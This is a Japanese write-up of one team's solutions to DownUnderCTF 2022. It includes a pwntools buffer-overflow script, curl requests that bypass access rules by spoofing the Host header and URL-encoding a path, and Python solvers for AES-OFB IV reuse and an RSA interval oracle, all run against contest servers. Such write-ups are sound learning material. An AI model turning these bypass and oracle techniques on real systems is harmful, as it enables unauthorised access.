DownUnderCTF 2022 (Online) Writeup

この大会は2022/9/23 18:30(JST)~2022/9/25 18:30(JST)に開催されました。
今回もチームで参戦。結果は2095点で1407チーム中129位でした。
自分で解けた問題をWriteupとして書いておきます。

discord (misc)

Discordに入り、#rulesチャネルで旗マークでリアクションすると、たくさんのチャネルが現れた。#memesチャネルのメッセージを見ると、フラグが書いてある画像を見つけた。

DUCTF{G'day_mates_this'll_be_a_cracka}

twitter (misc)

https://twitter.com/DownUnderCTFを見ると、プロフィールにフラグが書いてあった。

DUCTF{the-mascot-on-the-ductf-hoodie-is-named-ducky}

babyp(y)wn (pwn)

BOFでbuf2に"DUCTF"が含まれるよう入力する。

#!/usr/bin/env python3
from pwn import *

p = remote('2022.ductf.dev', 30021)

payload = b'A' * 512
payload += b'DUCTF'

print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 2022.ductf.dev on port 30021: Done
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUCTF'
DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}
[*] Closed connection to 2022.ductf.dev port 30021
DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}

helicoptering (web)

%{HTTP_HOST}がlocalhostであればよいので、HTTPヘッダの"Host"を"localhost"にしてリクエストする。

$ curl https://web-helicoptering-d71e44600048.2022.ductf.dev/one/flag.txt -H 'Host: localhost'
DUCTF{thats_it_

%{THE_REQUEST}に"flag"という文字列が含まれていなければよいので、一部をURLエンコードしてリクエストする。

$ curl https://web-helicoptering-d71e44600048.2022.ductf.dev/two/%66lag.txt
next_time_im_using_nginx}
DUCTF{thats_it_next_time_im_using_nginx}

doxme (DFIR)

doxmeをzip解凍する。word/media/image1.pngにフラグの前半、word/media/image2.pngにフラグの後半が書いてあった。

DUCTF{WOrd_D0Cs_Ar3_R34L1Y_W3ird}

Shop-Setup&Disclaimer (DFIR)

問題にフラグが書いてあった。

IAgreeToTheTeasAndTheSeas

Shop-Knock Knock Knock (DFIR)

58.164.62.91からのloginのログが大量にある。whoisで調べると、このIPのISPのメールアドレスがわかる。

abuse@telstra.net

baby arx (crypto)

暗号処理の概要は以下の通り。

・cipher = baby_arx(FLAG)
 ・FLAGの長さは64バイト
 ・cipher.state = FLAG
・out = cipher.stream(64).hex()
 ・64回b()の結果(1バイト)を出力し、連結
  ・b1 = self.state[0]
  ・b2 = self.state[1]
  ・b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
  ・b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
  ・b = (b1 + b2) % 256
  ・cipher.state = cipher.state[1:] + [b]

平文のn文字目とn+1文字目が暗号文のn文字目に影響する。フラグは"D"から始まることを前提にフルートフォースで復号する。

#!/usr/bin/env python3
def b_cust(b1, b2):
    c1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
    c2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
    b = (c1 + c2) % 256
    return b

out = 'cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b'
enc = bytes.fromhex(out)

flag = 'D'
for i in range(len(enc) - 1):
    for code in range(32, 127):
        b = b_cust(ord(flag[-1]), code)
        if b == enc[i]:
            flag += chr(code)
            break

print(flag)
DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}

cheap ring theory (crypto)

適当に入力してみたら、フラグが表示された。

$ nc 2022.ductf.dev 30012
18373422431141330316291866410416848005 24365806740024963168819354349730932351 31935740675120391851016026736817867223
5923180221913583002956953861943097406 18260683747663782040021267654353787093 35235713262473643914282553924568257010
26995525099101123204415535691826792642 52275247958632089387605364772924824058 44216023765264744624689295631178535604
0 0 0
0 0 0
0 0 0
DUCTF{CRT_e4sy_as_0ne_tw0_thr3e}
DUCTF{CRT_e4sy_as_0ne_tw0_thr3e}

oracle for block cipher enthusiasts (crypto)

$ nc 2022.ductf.dev 30009
iv: 0123456789abcdef0123456789abcdef
4c12144fe5a63e1d316fd6e7ff4abe95d86759fd02333ce00afb93a0f2ee95bc698d80dc888c4dc55ed609c6ef9164f88cf39fd38d451058560795ac0b74f91c25b52de0d676fa7b6834c1e963dd41dde8ed57a432ade38e98ff84b9583b06d6bffba5fd3d6dfbc0cf288e5986ddb208e2f91052f770768977c4a91cd86b6e329e075ec37f1459e2d10e237fa5f3eb30ca75887d06f9b24d8d9b6e5bb7fd9a1aca6c141006967588908adc340b466b644c68aae54b032011917c471f9d471f7cd143289ad8a7fb331513a7749c940b55148fb9964a30966e7fcd6d12694fed96fdbc8d408b2645a9d5028917908ec56b702983db16f9759a045c000acb5f92389bffeb489e874b92cb5207c9a647f114cb037abdbe39fe80158c0c83a1a8d832e1054b445dfc01f4f300cea0189d4d6444244e0515f5e9122a64136c3d8ac6991ec05867f1d17f189cbdff6eea21e17fdc084d119d24d3ac9fbbd862bfafb099f65a103e4512e7921da6ed4a85e37d76baa47ce6618273f1d655dc55da36941e8f76031effc2168091890c28403d7074baf7fdb48f912291cb5ba635db3be4447854ba150bb1e3a84928500e0cdecd87815cb1eb46abbccf100fa13cdc9f298beb99f00a2a1adf89b653bd82fe987a5ccdd189952a19e39a312b5213b715831a220c69285814ef2b5c60e44cfdd655ec62049bca708ee5f185161a328fb2d98d6e6313a4292d1a9effbfad248cf426e3385adcc774ec7c1ec5d493434e77c77b69a8f61fd671585c5605fe2296f4d399a993338b54c39b7be01c1d1c4016f18549a83ad8a07cd7a58ebfa28474b54f044514e3cee3277c973df0859677b511dcdad8a24f04b85cf5f4d006599158316ffc44cc95860b75ea0b8a2f5fc2730b184df78a1e664ec7349e7971f3fb630aa5c26f40f3cc092431e3e4d0b97502745ca52b8c0e907a17d4460fa4580301036304a76578bd9eb2304ef9d4f4d55d15cfdf7506e8fe64d0f62f1c0393fe78241df9e1609f7f8d893cad8581d5e847d57195851051db482e67b3e404489317f79f2a797f5fe9101fdc9425
iv: 0123456789abcdef0123456789abcdef
4c12144fe5a63e1d316fd6e7ff4abe95d86759fd02333ce00afb93a0f2ee95bc698d80dc888c4dc55ed609c6ef9164f88cf39fd38d451058560795ac0b74f91c25b52de0d676fa7b6834c1e963dd41dde8ed57a432ade38e98ff84b9583b06d6bffba5fd3d6dfbc0cf288e5986ddb208e2f91052f770768977c4a91cd86b6e329e075ec37f1459e2d10e237fa5f3eb30ca75887d06f9b24d8d9b6e5bb7fd9a1aca6c141006967588908adc340b466b644c68aae54b032011917c471f9d471f7cd143289ad8a7fb331513a7749c940b55148fb9964a30966e7fcd6d12694fed96fdbc8d408b2645a9d5028917908ec56b702983db16f9759a045c000acb5f92389bffeb489e874b92cb5207c9a647f114cb037abdbe39fe80158c0c83a1a8d832e1054b445dfc01f4f300cea0189d4d6444244e0515f5e9122a64136c3d8ac6991ec05867f1d17f189cbdff6eea21e17fdc084d119d24d3ac9fbbd862bfafb099f65a103e4512e7921da6ed4a85e37d76baa47ce6618273f1d655dc55da36941e8f76031effc2168091890c28403d7074baf7fdb48f912291cb5ba635db3be4447854ba150bb1e3a84928500e0cdecd87815cb1eb46abbccf100fa13cdc9f298beb99f00a2a1adf89b653bd82fe987a5ccdd189952a19e39a312b5213b715831a220c69285814ef2b5c60e44cfdd655ec62049bca708ee5f185161a328fb2d98d6e6313a4292d1a9effbfad248cf426e3385adcc774ec7c1ec5d493434e77c77b69a8f61fd671585c5605fe2296f4d399a993338b54c39b7be01c1d1c4016f18549a83ad8a07cd7a58ebfa28474b54f044514e3cee3277c973df0859677b511dcdad8a24f04b85cf5f4d006599158316ffc44cc95860b75ea0b8a2f5fc2730b184df78a1e664ec7349e7971f3fb630aa5c26f40f3cc092431e3e4d0b97502745ca52b8c0e907a17d4460fa4580301036304a76578bd9eb2304ef9d4f4d55d15cfdf7506e8fe64d0f62f1c0393fe78241df9e1609f7f8d893cad8581d5e847d57195851051db482e67b3e404489317f79f2a797f5fe9101fdc9425

サーバの処理概要は以下の通り。

・FLAG: フラグ
・MESSAGE: Decrypt this... [ランダム300バイトの16進数] [FLAG]
・key: ランダム16バイト
・2回以下繰り返し
 ・iv: 16進数表記で入力→デコード
 ・ct: AES-OFBモードでMESSAGEを暗号化
  →16進数表記で表示

全体で762バイト。平文の構成は以下のようになっている、

0123456789abcdef
Decrypt this...  1ブロック目
XXXXXXXXXXXXXXXX 2ブロック目
XXXXXXXXXXXXXXXX 3ブロック目
      :
XXXXXXXXXXXXXXXX 38ブロック目
XXXXXXXX FFFFFFF 39ブロック目
FFFFFFFFFFFFFFFF 40ブロック目
      :

1回目のIVの指定で、このような関係があることになる。

IV(適当な値) --(AES暗号化)--> TMPCT1 ^ PT1 -> CT1_1
TMPCT1       --(AES暗号化)--> TMPCT2 ^ PT2 -> CT1_2
      :
TMPCT38      --(AES暗号化)--> TMPCT39 ^ PT39 -> CT1_39
      :

2回目のIVの指定で1ブロック目のIVの暗号(PT1 ^ CT1_1)を指定すると、このような関係があることになる。

IV(TMPCT1)   --(AES暗号化)--> TMPCT2 ^ PT1 -> CT2_1
TMPCT2       --(AES暗号化)--> TMPCT3 ^ PT2 -> CT2_2
      :
TMPCT38      --(AES暗号化)--> TMPCT39 ^ PT38 -> CT2_38
      :

このことから途中までの値のXORを取ることによって、以下の式が成り立つ。

TMPCT1 ^ PT2 = CT1_1 ^ CT1_2 ^ CT2_1
TMPCT1 ^ PT3 = CT1_1 ^ ... ^ CT1_3 ^ CT2_1 ^ CT2_2
TMPCT1 ^ PT4 = CT1_1 ^ ... ^ CT1_4 ^ CT2_1 ^ ... ^ CT2_3
      :
TMPCT1 ^ PT39 = CT1_1 ^ ... ^ CT1_39 ^ CT2_1 ^ ... ^ CT2_38
TMPCT1 ^ PT40 = CT1_1 ^ ... ^ CT1_40 ^ CT2_1 ^ ... ^ CT2_39
      :

つまり、以下のようにして、各ブロックの平文を求めることができる。

PT2 = CT1_1 ^ CT1_2 ^ CT2_1 ^ TMPCT1
PT3 = CT1_1 ^ ... ^ CT1_3 ^ CT2_1 ^ CT2_2 ^ TMPCT1
PT4 = CT1_1 ^ ... ^ CT1_4 ^ CT2_1 ^ ... ^ CT2_3 ^ TMPCT1
      :
PT39 = CT1_1 ^ ... ^ CT1_39 ^ CT2_1 ^ ... ^ CT2_38 ^ TMPCT1
PT40 = CT1_1 ^ ... ^ CT1_40 ^ CT2_1 ^ ... ^ CT2_39 ^ TMPCT1
      :
#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

pt0 = b'Decrypt this... '

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2022.ductf.dev', 30009))

iv = '0' * 32
data = recvuntil(s, b': ')
print(data + iv)
s.sendall(iv.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct1 = [bytes.fromhex(data[i:i+32]) for i in range(0, len(data), 32)]

TMPCT1 = strxor(pt0, ct1[0])
iv = TMPCT1.hex()
data = recvuntil(s, b': ')
print(data + iv)
s.sendall(iv.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct2 = [bytes.fromhex(data[i:i+32]) for i in range(0, len(data), 32)]

MESSAGE = b''
ct1_xor = b'\x00' * 16
ct2_xor = b'\x00' * 16
for i in range(762 // 16 + 1):
    ct1_xor = strxor(ct1_xor[:len(ct1[i])], ct1[i])
    if i > 0:
       ct2_xor = strxor(ct2_xor, ct2[i - 1])
    pt = strxor(strxor(ct1_xor, ct2_xor[:len(ct1_xor)]), TMPCT1[:len(ct1_xor)])
    MESSAGE += pt

print(MESSAGE.decode())

実行結果は以下の通り。

iv: 00000000000000000000000000000000
870626685b7aa83c708e1288d60c913fe88a86eb887d1fcebb5d306292d2f66f216fce08f715e3b3e6386eda6834d9a9f35d781c91ab8583871982aab70132e292e1eace8d2c1fb1a3c0890d19b166ffb00143c81fc9818328f7dbb845a4b9260f95aa7317072cd4c2b2477253e7c5e8d1f6448027f2c59a353938968c16f60c2a51753e9f5e1fa8cd99f51e0f6fdc01f7d6497cc039807ff0786ec7e02aeebf22f5a73ddc71d62c2359c2a7abf33efb3419884594f6cbfb614345db79062e4324bb241fab05e85e988685271a94e72954676374ee2932a82a61d7a7287deda00f800332712a881be82fd322633e455c08dede313666b9224357d610a86a076652f87f699abbcde81d545a4f799d4da87bb39d37b06da5d06d5723f8ecc014232a28d4fc04e426f5cc4679707343d1e7d4d13e931c144fb2145910ec3d573580ed79ec48d1d0cab5f6b0a09020ace27bee654d807abe73300b74f4c90a85cb3353848af1c3606bae126d12795f0316b05e8319b108ace5a249561ab564b5a30a9a493b0675771ca9d8a4f39492c73567f24c205886f5d299272bea15bcc8c75f829776f24a012c321e8c0d4c2f6ddf5889fa08c35f46bb8908eb10ce3e21971e2aed68738eb244af184a7955c9141f7292f5612c0a7a21106773f048920fe4dd4ce8a311303fab3d535c6e42dbb8de118170919450b931671c47ea04159e4ecff78257bc46fb9dde169b4991a660d62ccd972ea81d27bcb0684edb57f8adb4ef7fc8d384e828c83ee1e870d4b51c5a8fd956859dab8f4d5af4631966e276288ade16facf27c75500b40c59c9844942f368c393b6df64f509278f71edf926274606368aa4ed09efa4f2f9c9e3622d485e65f64dab84caa34c5bc141377a99890d6c3964454078b07731ae573d3b963fa72ca93bd6f6c3027fdde794b959afed0f17ddac83e52b6594c953007bee147ac705dfcbcd12bbf1d9a1a6937041b4f3894c12971aff9c38675d5cbeb19c1e23e4797621b91dc212f35fc099e1fe56863bbcd1c9687a842bf802e4d6bbbab07b563c0ee4de8e2c3a777c94
iv: c363451a220adc1c04e67bfbf822bf1f
95df83fbc56852d8a9543a2784cae8292e3dca52a711e9b3e33d3e8e66638cfdf4092840c1fc8181dc4580adb95364e096b3ea9adc7c4bb5f99c815f14b336f9b45143c0429b84822ba180eb48a6ef200694ad7e195572809bb6177559e593e88ff648d328a2cccf343668c18610ad087b01746b9e0e4dfac7c6af1e5561d705f7d7412bc16fd178f32e6792e777beed70f2af3fd724d470750fc4a0fba23eac67498510c7a7c2a73e1216dc75577a1471bb261ea803b7099387d97511c3b42f07616470ee2e31a87934dba2237bb9f307d351372429de1ce82dd123623f4c0a09898f363436b2711506d344a33b5b335df87968cdbbccba1a500a157ac94ba97bbbcc67e06aacd1395577f1e8c940737e2784ac50e124f89d477e73264ad5e083823cc3434345bd100a18e63d5e63d5e829bb1adf8594b3a3e7a89f76f5e174bc681d857ebb70675d76f7cb5980c93c5584ddf0c66237fe426417740e0440be02881aba0bfaeca21a0d4db866b7f3069218665b767549a68af5a59091c26f67f21e280a81f5d4937d29e943bc9ac80c85c270f44956766313de09192339de0e8dfd5aca0b46e0d90bec12ca607bc71878bd347a89e11fff1c4b78009c1e4f25c4fe69245a7c2d426675f74b990ee68c4ce2aa4b333fa934565f6e1587bfdb17d421cac556ea313f4915e6544498479ff3d603bd4aa9cb8f41904996a4338d299d9979a21574eae23846d10ef7ffe5bc78c885d8bc789b68b0e026dabb1d09dedc56d1cbff8a180ff16d4835b2267ad3df17ffca2f940056b55e0f9bda1f14ae6acc97b28332a30925da21edf87374415733dbafeb05bcf6e08caf970f0a050c65a721ff93c6b6764fe660011ab39e4455284f1c5b299b4e35bf7c786d8c3aee06a9239bc7c1696c81a2b2d659b5b45c09f1a3cbca256293fa094940bf277ac231b0d8cf10b2f59acea5fc2310d2a08d2712d44cb5ce3c640e0bd9b6ca1276e47c7173ec159043a509c891e5f300d261bfd69f6d72d42aae00e180ece1e12a5d680db2df85793f712add803b17ee22efe2378197155f480127ad
Decrypt this... 90fb4e96fac6860f6bb8da36cd3b6ae2162d4674881e83305d20efc0bd9751c6142884f1a2bd835085556f8e862c21c0f59f961099b487847e838fcb3f84b9307d0d902e001aedcbec8f2e09ff7f55c56353a49e97da9d7bc372b2f2268323dd0506b5e2ac4695078fb37635aa67849a91345f8f703c3ee46155bf9404c901c569de2a05d670487eb645fd285703a13b5e6e93871d89a8e705a77ff1d3067af8b8123cef2134ddd7d8f36a96b8695c2983e857061ca47ab50b8e65e9c2704d85000715c3904f467f7e612b9b4b038b603bd8fbb27e27f8f6a281a19b3d3b326a790917502b4a8340739c27797a46d416bbb24d7ab38f528ff66386a0588a7acc68a90e7be0288320187ed5d448d662aa48c3001a165efb3859f68cd70dc784ee76b2d52721379a6bf339b9ae DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}
DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}

rsa interval oracle i (crypto)

サーバの処理概要は以下の通り。

・N_BITS = 384
・TIMEOUT = 20 * 60
・MAX_INTERVALS = 384
・MAX_QUERIES = 384
・p, q: (N_BITS//2)ビット素数
・N = p * q
・e = 0x10001
・d = pow(e, -1, (p - 1) * (q - 1))
・secret: ランダム(N_BITS//9)バイトの数値化
・c = pow(secret, e, N)
・N, cを表示
・intervals = []
・queries_used = 0
・以下繰り返し
 ・choice: 数値入力
 ・choiceが1の場合
  ・intervalsがMAX_INTERVALSに達していない場合、
   ・lower: 数値入力
   ・upper: 数値入力
   ・intervalsの先頭に(lower, upper)を追加
 ・choiceが2の場合
  ・queries: 数値を複数","区切りで指定
  ・queries: queriesの数値の配列
  ・queries_used: queriesの配列要素数分プラス
  ・results = []
  ・queriesの各要素cについて、以下を実行
   ・m = pow(c, d, N)
   ・intervalsの各範囲にある場合、そのインデックスをresultsに追加
  ・resultsの結果を表示
 ・choiceが3の場合
  ・secret_guess: 数値入力
  ・secretとsecret_guessが一致していた場合、FLAGを表示

secretは0以上、2**(384//9*8)-1以下。c = pow(secret, e, N)のcを常に指定し、lower, upperで二分探索で絞っていけば、secretの値を求められる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

e = 0x10001

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2022.ductf.dev', 30008))

data = recvuntil(s, b'\n').rstrip()
print(data)
N = int(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data)

bounds = [-1, 2 ** (384 // 9 * 8)]
for i in range(384 // 9 * 8):
    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')

    lower = bounds[0]
    upper = (bounds[0] + bounds[1]) // 2

    data = recvuntil(s, b': ')
    print(data + str(lower))
    s.sendall(str(lower).encode() + b'\n')
    data = recvuntil(s, b': ')
    print(data + str(upper))
    s.sendall(str(upper).encode() + b'\n')

    data = recvuntil(s, b'> ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b': ')
    print(data + str(c))
    s.sendall(str(c).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    if data == '0':
        bounds[1] = upper
    else:
        bounds[0] = upper - 1

for secret in range(bounds[0] + 1, bounds[1]):
    if pow(secret, e, N) == c:
        break

data = recvuntil(s, b'> ')
print(data + '3')
s.sendall(b'3\n')
data = recvuntil(s, b': ')
print(data + str(secret))
s.sendall(str(secret).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

25038199156421910463906030553197566416954822979645417331969625724463884540629162458058381067090291759834379511485711
1473631747518581102709574501902202505326287746711045343561122404581848159774380321738497151539603245443266420066200
1. Add interval
2. Request oracle
3. Get flag
> 1
Lower bound: -1
Upper bound: 69992023193056381579920071267763883691301421788582797965624659405118495974380029543152421664737722367
1. Add interval
2. Request oracle
3. Get flag
> 2
queries: 1473631747518581102709574501902202505326287746711045343561122404581848159774380321738497151539603245443266420066200
-1
1. Add interval
2. Request oracle
3. Get flag
> 1
Lower bound: 69992023193056381579920071267763883691301421788582797965624659405118495974380029543152421664737722366
Upper bound: 104988034789584572369880106901645825536952132682874196948436989107677743961570044314728632497106583551
1. Add interval
2. Request oracle
3. Get flag
> 2
queries: 1473631747518581102709574501902202505326287746711045343561122404581848159774380321738497151539603245443266420066200
0
                :
                :
1. Add interval
2. Request oracle
3. Get flag
> 1
Lower bound: 101688740127112038282454183576122029696535471525559737310389128530363248029212240127980868813633017803
Upper bound: 101688740127112038282454183576122029696535471525559737310389128530363248029212240127980868813633017806
1. Add interval
2. Request oracle
3. Get flag
> 2
queries: 1473631747518581102709574501902202505326287746711045343561122404581848159774380321738497151539603245443266420066200
0
1. Add interval
2. Request oracle
3. Get flag
> 1
Lower bound: 101688740127112038282454183576122029696535471525559737310389128530363248029212240127980868813633017803
Upper bound: 101688740127112038282454183576122029696535471525559737310389128530363248029212240127980868813633017804
1. Add interval
2. Request oracle
3. Get flag
> 2
queries: 1473631747518581102709574501902202505326287746711045343561122404581848159774380321738497151539603245443266420066200
1
1. Add interval
2. Request oracle
3. Get flag
> 3
Enter secret: 101688740127112038282454183576122029696535471525559737310389128530363248029212240127980868813633017804
DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}
DUCTF{d1d_y0u_us3_b1n4ry_s34rch?}

Survey (survey)

アンケートの最後にフラグが書いてあった。

DUCTF{thx_4_playing_DUCTF_2022}